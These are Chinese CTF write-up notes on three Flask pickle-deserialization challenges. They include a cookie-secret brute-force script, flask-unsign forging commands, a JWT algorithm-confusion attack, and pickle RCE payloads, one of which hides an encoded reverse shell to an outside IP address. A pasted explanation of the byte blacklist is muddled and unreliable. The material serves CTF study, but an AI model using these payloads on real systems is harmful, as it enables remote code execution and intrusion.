美团CTF2022-easypickle
考点:pickle反序列化,V指令绕过字母
源码
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()#随机生成4字符的字符串//jwt4key.py,然后利用生成的key字典在jwt-unsign进行爆破:一份字典不行就多份
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
#session得是admin
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))#利用点前的过滤绕过,构造payload时不包含R i o b。可以利用这个大小写替换规则
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
首先爆破jwt的sign
import os
file_path='./key2.txt'
with open(file_path, 'w') as f:
for i in range(1,99999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))
在当前目录生成key2.txt,其中有99999个不同的4字符字符串
格式:
flask-unsign --unsign --cookie "xxx" --wordlist ""
flask-unsign --unsign --cookie "eyJ1c2VyIjoiYW5hZGQifQ.ac0SKw.zevd2W7NNraddZAnkV0xp0UcvPg" --wordlist "C:\Users\lilyzero207\Desktop\pickle\key2.txt"
得到4eed
伪造格式:
flask-unsign --sign --cookie "{'username':'admin','is_admin':True}" --secret 'your_secret_key'
pickle构造:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
session中存在ser_data,base64解码后会对其中一些内容进行替换,
如果还存在R i o b就waf
一个常规的构造:
一个典中典的
import pickle
opcode=b'''(cos
system
S'whoami'
o.'
pickle.loads(opcode)
这里因为os会被识别并且置换为Os
cos不用变
最后的o.可以处理为os.绕过
无论命令执行还是反弹shell都会利用到其中的字母
于是想到V这个指令可以处理unicode编码
开新进程:
- Syntax:
bash -c 'command_string' [arg0 arg1 arg2 ...]
bash -c “bash -i >& /dev/tcp/47.109.70.144/2333 0>&1”
将其
网站:https://www.mklab.cn/utils/unicode
编码,反弹shell
import pickle
import base64
opcode= b"""(S'key1'
S'val1'
dS'vul'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0037\u002e\u0031\u0030\u0039\u002e\u0037\u0030\u002e\u0031\u0034\u0034\u002f\u0032\u0033\u0033\u0033\u0020\u0030\u003e\u0026\u0031\u0022
os."""
print(base64.b64encode(opcode).decode())
最后:
flask-unsign --sign --cookie "{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjJcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwMjBcdTAwM2VcdTAwMjZcdTAwMjBcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwMzRcdTAwMzdcdTAwMmVcdTAwMzFcdTAwMzBcdTAwMzlcdTAwMmVcdTAwMzdcdTAwMzBcdTAwMmVcdTAwMzFcdTAwMzRcdTAwMzRcdTAwMmZcdTAwMzJcdTAwMzNcdTAwMzNcdTAwMzNcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjIKb3Mu'}" --secret "4eed"
然后
GET /admin HTTP/1.1
Host: 8888-c5518072-a0b6-48e6-8106-97a3e771208e.challenge.ctfplus.cn
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJyVkb0OgjAUhd-lsxPExU1JMNK0AypEFlO5JlILMQqp1vjuotySFHVw-nrPub_pnTSX_ZlMiICyqMiItNEWRC1aiYasEl4yZsucrm_gbVJ9jfTp-HpDqqugOMidz2juKwPzpA5UlsNqqrmMkGFHwzE-vMnkrGMZo85dva__t49ydS_BOBvk2z1tXYL9M9c37n7cuPUMfWYAdZxnQiTmGzXwwfU_6mKX_bwIyb_T3md-3G_7ywVt_60hjycxl7Wg.acz2nA.cnFiMRu6Pj6uK91H7f8-5MVfiHA
Connection: keep-alive
在vps弹到shell,命令执行即可
极客大挑战2024-jwt_pickle
考点:算法混淆攻击+pickle反序列化getshell
源码:
import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect#??ssti
import jwt
import pickle
app = Flask(__name__,static_folder="static",template_folder="templates")
privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))#随机的18字符串,往后看
user_list={"admin":adminPassword}
@app.route("/register",methods=["GET","POST"])
def register():
if request.method=="GET":
return render_template("register.html")
elif request.method=="POST":
username=request.form.get("username")
password=request.form.get("password")
if (username==None)|(password==None)|(username in user_list):
return "error"
user_list[username]=password
return "OK"
#注册获取用户
@app.route("/login",methods=["GET","POST"])
def login():
if request.method=="GET":
return render_template("login.html")
elif request.method=="POST":
username = request.form.get("username")
password = request.form.get("password")
if (username == None) | (password == None):
return "error"
if username not in user_list:
return "please register first"
if user_list[username] !=password:
return "your password is not right"
ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
if username=="admin":
ss["is_admin"]=True
#此处可知密码即用户名的md5值,因为admin的密码难求,往后看
ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())
#introduction需要传入base64数据
token=jwt.encode(ss,privateKey,algorithm='RS256')
#每个用户注册登录后得到一个rs256加密的token
return "OK",200,{"Set-Cookie":"Token="+token.decode()}
@app.route("/admin",methods=["GET"])
def admin():
token=request.headers.get("Cookie")[6:]
print(token)
if token ==None:
redirect("login")
try:
real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])###hs256,rs256,混淆算法
except Exception as e:
print(e)
return "error"
username = real["username"]
password = real["password"]
is_admin = real["is_admin"]
if password != hashlib.md5(user_list[username].encode()).hexdigest():
return "Hacker!"
if is_admin:
serial_S = base64.b64decode(real["introduction"])
introduction=pickle.loads(serial_S) #####
return f"Welcome!!!,{username},introduction: {introduction}"
else:
return f"{username},you don't have enough permission in here"
@app.route("/",methods=["GET"])
def jump():
return redirect("login")
if __name__ == "__main__":
app.run(debug=False,host="0.0.0.0",port=80)
首先注册两个用户得到2个不同token
2
2
Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.NrXDYdIIjIapYljl7OzLBkjhGU4AKhiI9eG7KuHEbXgcs1ol8mkLEJNrnU6xNhlHUaM6UoazW3z8xzsntyIxopHDvKsw8KJ5Rd_cYNNpAKmPCjmmDWCy0ncGHh_mFRgUxB5uS6S3UcRv6-dZ1Ymrr7D78BHAe9TgNjGxhUyCH6WCLkAo3DUS-tDMC7vMjUdVyipjevKIke4qQg2YlJuRbYVo9-Hd_V_TJL28As4NiXDN38beON7cer7KSfHQQCQ9rateXOQb7cWe--iYJOGAEOCziNo9zVjajiux3gwSHblDcsvKo26P2ZCh02b49tgzKP_VSDouCJ4wDUrty5mKUg
1
1
Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.HLlGFnJcGt-C6_CCHh9FteC4BatbInaFpoGH1oDHKCYI6TT-b9wX4XKUQLxpNOo2qV0j8_WRbdah4fbLgAcXFVhayKApvnmBUV8v0jl1kN-aRCaP6dN-Awin9P5plOPYVGujLxCJn2iBxpG-f-W7_j9lNKF2LRo30rI2qyA4svz3KMPTMLwFPoVCSRd8sErf7-vRseoSBWWHL_yilj0LZ8e91ngzdcSXjkGskLQYcodsYL2EQ63ZWfLCxSXLmfO_w_VFmjr-BjjQ8xtEAbtRKeIv4Luuc8phMS1n5x-bIyHL4PhbZBlTw8XzM1chdR2tJZv7-lf9YPhvwhCnnXGhXw
然后利用:https://carsaid.github.io/burpsuite-learn/wsa/advanced/jwt/algorithm-confusion/#%E4%BB%8E%E7%8E%B0%E6%9C%89%E4%BB%A4%E7%89%8C%E4%B8%AD%E5%AF%BC%E5%87%BA%E5%85%AC%E9%92%A5
从已知的令牌中得到公钥:
kali运行:
语法:docker run --rm -it portswigger/sig2n <token1> <token2>
(base) ┌──(root㉿kali)-[~/Desktop]
└─# docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.NrXDYdIIjIapYljl7OzLBkjhGU4AKhiI9eG7KuHEbXgcs1ol8mkLEJNrnU6xNhlHUaM6UoazW3z8xzsntyIxopHDvKsw8KJ5Rd_cYNNpAKmPCjmmDWCy0ncGHh_mFRgUxB5uS6S3UcRv6-dZ1Ymrr7D78BHAe9TgNjGxhUyCH6WCLkAo3DUS-tDMC7vMjUdVyipjevKIke4qQg2YlJuRbYVo9-Hd_V_TJL28As4NiXDN38beON7cer7KSfHQQCQ9rateXOQb7cWe--iYJOGAEOCziNo9zVjajiux3gwSHblDcsvKo26P2ZCh02b49tgzKP_VSDouCJ4wDUrty5mKUg eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.HLlGFnJcGt-C6_CCHh9FteC4BatbInaFpoGH1oDHKCYI6TT-b9wX4XKUQLxpNOo2qV0j8_WRbdah4fbLgAcXFVhayKApvnmBUV8v0jl1kN-aRCaP6dN-Awin9P5plOPYVGujLxCJn2iBxpG-f-W7_j9lNKF2LRo30rI2qyA4svz3KMPTMLwFPoVCSRd8sErf7-vRseoSBWWHL_yilj0LZ8e91ngzdcSXjkGskLQYcodsYL2EQ63ZWfLCxSXLmfO_w_VFmjr-BjjQ8xtEAbtRKeIv4Luuc8phMS1n5x-bIyHL4PhbZBlTw8XzM1chdR2tJZv7-lf9YPhvwhCnnXGhXw
得到:
返回
ound n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxQXNwK1RiTStMK0lqb2todGFkWgovSUpRUzhJYVVxM281MEUwa2dVYjhsQ0RzNUFBTWU3ZDNlNUpaT2o1RUIvdW1HWDVTN1FlVDFmc2NQRFY1V1pSCkd0aUJyUzVNSDE3bDR2TzgxYmNmM1RGMmZYdi9nZWtETk05NExiYUkvMC9OQmFyenRaZEpMKzdrejVEMXdGUDIKazZ5N2Y5SzUrYmVPYVdYb0N1RlYyazZXbkwvRXpZR3NOb2NSQnI5RHBjQkRvdUFUbS9tSVZLUTlqNnJGSXJCMwplV2U3WVN2ZDVXOUpxVDVXREZjL2NQUmdwcnZNSFBrYTBMeHQ1TFBPb3JBTDFTOXNnZHhRSUhzcWNRSXdSSEVUCmlxZUxZWktDR2hpMU16NVBjUW8wU2tNaWd2QXF4SUFCYWF3MzhTNVdnU0xqdTlUVzJHREF1b2tqMFdxOGFRUGUKVndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzc1MTI4NDUyfQ.0u0yotWbawhPFb_4xIyKpij11SlSC_nprPCZEx0YEDE
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXFBc3ArVGJNK0wrSWpva2h0YWRaL0lKUVM4SWFVcTNvNTBFMGtnVWI4bENEczVBQU1lN2QKM2U1SlpPajVFQi91bUdYNVM3UWVUMWZzY1BEVjVXWlJHdGlCclM1TUgxN2w0dk84MWJjZjNURjJmWHYvZ2VrRApOTTk0TGJhSS8wL05CYXJ6dFpkSkwrN2t6NUQxd0ZQMms2eTdmOUs1K2JlT2FXWG9DdUZWMms2V25ML0V6WUdzCk5vY1JCcjlEcGNCRG91QVRtL21JVktROWo2ckZJckIzZVdlN1lTdmQ1VzlKcVQ1V0RGYy9jUFJncHJ2TUhQa2EKMEx4dDVMUE9vckFMMVM5c2dkeFFJSHNxY1FJd1JIRVRpcWVMWVpLQ0doaTFNejVQY1FvMFNrTWlndkFxeElBQgphYXczOFM1V2dTTGp1OVRXMkdEQXVva2owV3E4YVFQZVZ3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzc1MTI4NDUyfQ.xAFeFOTCUGtnYB2lP72bdERt_YG6qnVnGwOOviIybGI
随后尝试这两个生成的临时token
第一个返回error
第二个返回2,you don’t have enough permission in here
说明pkcs1 key密钥可利用
于是用这个构造:
{
"username": "2",
"password": "c81e728d9d4c2f636f067f89cc14862c",
"is_admin": true,
"exp": 1775128452,
"introduction":"gASVUgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw2X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgplIWUUpQu"
}
注意:sign勾选上base64可利用,
此处introduction的构造:
典中典的rce构造
import base64
import pickle
class shell:
def __reduce__(self):
return (eval, ("__import__('os').popen(request.args.get('cmd')).read()",))
shell = shell()
data = pickle.dumps(shell)
print(base64.b64encode(data).decode())
然后在bp
GET /admin?cmd=cat%20/flag HTTP/1.1
Host: 80-df1fc38f-681c-46d1-a888-7a49c6fc1505.challenge.ctfplus.cn
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOnRydWUsImV4cCI6MTc3NTEyODQ1MiwiaW50cm9kdWN0aW9uIjoiZ0FTVlVnQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJdzJYMTlwYlhCdmNuUmZYeWduYjNNbktTNXdiM0JsYmloeVpYRjFaWE4wTG1GeVozTXVaMlYwS0NkamJXUW5LU2t1Y21WaFpDZ3BsSVdVVXBRdSJ9.zkr375V-43O6u8eSnBQ1PSsf_J2BEBc3zGzhEndOyhs
referer: http://80-df1fc38f-681c-46d1-a888-7a49c6fc1505.challenge.ctfplus.cn/login
Connection: keep-alive
得到flag
Welcome!!!,2,introduction: SYC{3f7cf3eb-8963-4e11-80fb-832f22647add}
0X25马哈鱼商店
考点:信息搜集,绕过b''
抓包买pickle
pid=8&discount=0.000001
Location: /shop_success
Server: Werkzeug/3.1.3 Python/3.12.11
Set-Cookie: session=.eJyrVgrITM7OSY13zy9RsiopKk3VUUrLSUyPTwfx0xJzioECOYnFJfFJpZVKVlDVSjpKpcWpRUC-oVItAB71Fpc.ac5knw.oF6C18o4QmDd7QMAsmADDMeTnnE; HttpOnly; Path=/
Vary: Cookie
Success!
You have purchased: Pickle
Wow! Now You Can Really Click Here To GetFlag.
You Money Now: 9998.99999
Continue Shopping
点击here
Use GET To Send Your Loved Data!!!
BlackList = [b'', b'']#过滤b指令
@app.route('/pickle_dsa')
def pic():
data = request.args.get('data')
if not data:
return "Use GET To Send Your Loved Data"
try:
data = base64.b64decode(data)
except Exception:
return "Cao!!!"
for b in BlackList:
if b in data:
return "卡了" #不能有b
p = pickle.loads(data)
print(p)
return f"<p>Vamos! {p}<p>
没看出来拦截的什么,问问
核心拦截对象:b'' 和 b'\x1e'
在 pickle 的底层指令集(Protocols)中,这两个字节码具有特殊含义:
b'' (空字节 / STOP 指令): 实际上,这里的 b'' 在代码逻辑中很难被触发(因为它是空字符串),但如果黑名单指的是十六进制的 \x00,它通常用于某些协议的版本标识或数据截断。
b'\x1e' (即 \x1e / PROTO 指令):
这是 pickle 协议版本声明的指令。在 Python 3 中,默认生成的 pickle 数据通常会以 \x80(Protocol 标识)开头,紧接着就是版本号。\x1e 在较新版本的 pickle 协议中用于更复杂的内存管理或数据段。
拦截单字节 0x1E
解法1:同easypickle
import base64
opcode=b'''(S'key1'
S'val1'
dS'vul'
(cbuiltins
eval
S'__import__(\'os\').system(\'cat /proc/self/environ\')'
o.'''
print(base64.b64encode(opcode).decode())
虽然没有出现“卡了”,但是这里只有一个:Vamos! 0
于是尝试反弹shell
运用反弹shell成功:
import pickle
import base64
opcode= b"""(S'key1'
S'val1'
dS'vul'
(cos
system
V\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0037\u002e\u0031\u0030\u0039\u002e\u0037\u0030\u002e\u0031\u0034\u0034\u002f\u0032\u0033\u0033\u0033\u0020\u0030\u003e\u0026\u0031\u0022
os."""
print(base64.b64encode(opcode).decode())
然后监听弹到shell
命令执行cat /proc/self/environ
0xGame{You_Have_Learned_How_to_Buy_Pickle!}
解法2:
利用文本字节绕过单字节
单字节:
使用protocol=0 protocol=0 是文本协议,基本不会包含0x1E protocol=2,3 是二进制协议,会包含各种控制字符,容易触发 0x1E 检测
import pickle
import base64
class rce(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('env').read()",))
shell = (pickle.dumps(rce(), protocol=0))
base64_shell = base64.b64encode(shell)
print(base64_shell.decode())
解法3:*
说实话没看懂:
题目使用pickle.loads()反序列化用户提供的数据,存在反序列化RCE漏洞:
data = base64.b64decode(data)
for b in BlackList:
if b in data:
return "卡了"
p = pickle.loads(data)
关键技术
1. 使用STACK_GLOBAL绕过黑名单
我们使用pickle protocol 4的STACK_GLOBAL (opcode 0x93):
b'\x80\x04' # PROTO 4
b'\x8c\nsubprocess' # SHORT_BINUNICODE 'subprocess'
b'\x8c\tgetoutput' # SHORT_BINUNICODE 'getoutput'
b'\x93' # STACK_GLOBAL - 从栈获取subprocess.getoutput
2. 使用subprocess.getoutput获取输出
os.system()只返回退出码,无法看到输出。使用subprocess.getoutput()可以获取命令的输出内容。
解题步骤
构造payload: 使用STACK_GLOBAL opcode构造pickle字节码
选择合适的函数: 使用subprocess.getoutput()而非os.system()
查找flag位置: 通过env | grep -i flag发现flag在环境变量中
payload = (
b'\x80\x04' # PROTO 4
b'\x8c\nsubprocess' # SHORT_BINUNICODE 'subprocess' (长度10)
b'\x8c\tgetoutput' # SHORT_BINUNICODE 'getoutput' (长度9)
b'\x93' # STACK_GLOBAL
b'\x8c\x12env | grep -i flag' # 命令 (长度0x12=18)
b'\x85' # TUPLE1
b'R' # REDUCE (执行函数)
b'.' # STOP
)